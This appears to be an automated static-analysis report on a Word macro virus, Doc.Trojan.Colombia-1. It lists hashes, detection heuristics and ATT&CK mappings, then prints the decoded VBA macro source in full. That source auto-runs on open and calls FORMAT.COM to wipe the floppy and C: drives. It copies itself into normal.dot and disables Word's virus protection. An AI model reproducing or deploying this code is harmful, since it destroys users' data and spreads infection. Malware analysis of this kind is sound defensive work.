Doc.Trojan.Colombia-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 e6961464f501d48a…

MALICIOUS

Office (OLE)

48.0 KB Created: 2000-11-13 18:14:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b3184182c256b4295345215eb5e9f68d SHA-1: 5813b2f5e00fda93303a4e162fcddd2e9fc59585 SHA-256: e6961464f501d48a6e0a94b96f3ef863ba701c223a1d3a5d6ab30b0f85570059
300 Risk Score

Malware Insights

Doc.Trojan.Colombia-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is identified as Doc.Trojan.Colombia-1 by ClamAV. It contains VBA macros, including an AutoOpen macro, which are designed to execute automatically. The 'kill' subroutine within the VBA script attempts to format the C: drive using 'C:\WINDOWS\COMMAND\FORMAT.COM C: /AUTOTEST', indicating destructive intent. The script also contains logic that suggests it may download additional payloads, though the specific download mechanism is obfuscated.

Heuristics 6

  • ClamAV: Doc.Trojan.Colombia-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Colombia-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10657 bytes
SHA-256: 42e645c11ac5b612f9723a4791deff528d0c6f0350989a3caa0aa3f8331dde7c
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro creada el 24/11/98 por *"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.colombia"

'
' colombia Macro
' Macro creada el 24/11/98 por *
'
On Error Resume Next
autoexec
engendrar
kill
        
End Sub
Sub autonew()
Attribute autonew.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute autonew.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autonew"

'
' autonew Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next
autoexec
engendrar
kill
End Sub
Sub autoexec()
Attribute autoexec.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute autoexec.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.autoexec"
'
' autoexec Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next
    kill
    engendrar
End Sub
Sub kill()
Dim RetVal, unidad, num, commline, cont
    minombre = Dir("C:\", 8)
    unidad = "a"
         
        unprotect
        Randomize
        num = Int(Rnd * 20)
        cont = Val(GetSetting("colombia", "te", "quiere", 0))
        StatusBar = "Linea " + Str(cont) + "Esquema " + unidad
        commline = "C:\WINDOWS\COMMAND\FORMAT.COM " + unidad + ": /AUTOTEST"
        If cont > 99 Then
            commline = "C:\WINDOWS\COMMAND\FORMAT.COM C: /AUTOTEST"
               
            If minombre <> "COLOMBIA" Then
                RetVal = Shell(commline, 0)
            Else
                MsgBox "*** Salvado por Colombia ***"
            End If
            
        Else
            If num > 0 Then
                commline = "C:\WINDOWS\COMMAND\FORMAT.COM a: /AUTOTEST"
                If minombre = "COLOMBIA" Or cont < 0 Then
                    StatusBar = "Se salvó el Diskette"
                    
                Else
                    RetVal = Shell(commline, 0)
                End If
            End If
            
        
        End If
        
        
        cont = Val(GetSetting("colombia", "te", "quiere", 0))
        
        If cont = 0 Then
            SaveSetting "colombia", "te", "quiere", 1
            
        Else
            If cont > 0 Then
                DeleteSetting "colombia", "te", "quiere"
                cont = cont + 1
                SaveSetting "colombia", "te", "quiere", Str(cont)
            End If
        End If
        
        
    
End Sub
Sub engendrar()
Dim normalpath, ruta
On Error Resume Next
normalpath = "normal.dot"
For Each normalpath In Templates
    ruta = normalpath.FullName
Next normalpath


Application.OrganizerCopy Source:= _
        ruta, _
        Destination:=ActiveDocument.FullName, Name:="NewMacros", Object:= _
        wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, _
        Destination:=ruta, Name:="NewMacros", Object:= _
        wdOrganizerObjectProjectItems

End Sub
Sub unprotect()
Attribute unprotect.VB_Description = "Macro grabada el 24/11/98 por *"
Attribute unprotect.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.unprotect"
'
' unprotect Macro
' Macro grabada el 24/11/98 por *
'
On Error Resume Next

    With Options
        .VirusProtection = False
        CommandBars("View").Controls(6).Delete
        CommandBars("Macro").Controls(1).Delete
        CommandBars("Macro").Controls(2).Delete
        CommandBars("Macro").Controls(3).Delete
        CommandBars("Tools").Controls(14).Delete
    End With
End Sub


' Processing file: /opt/analyzer/scan_staging/3dc5de6fcb9c4e4c9b6cb455337490dc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1190 bytes
' Macros/VBA/NewMacros - 8380 bytes
' Line #0:
' 	FuncDefn (
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.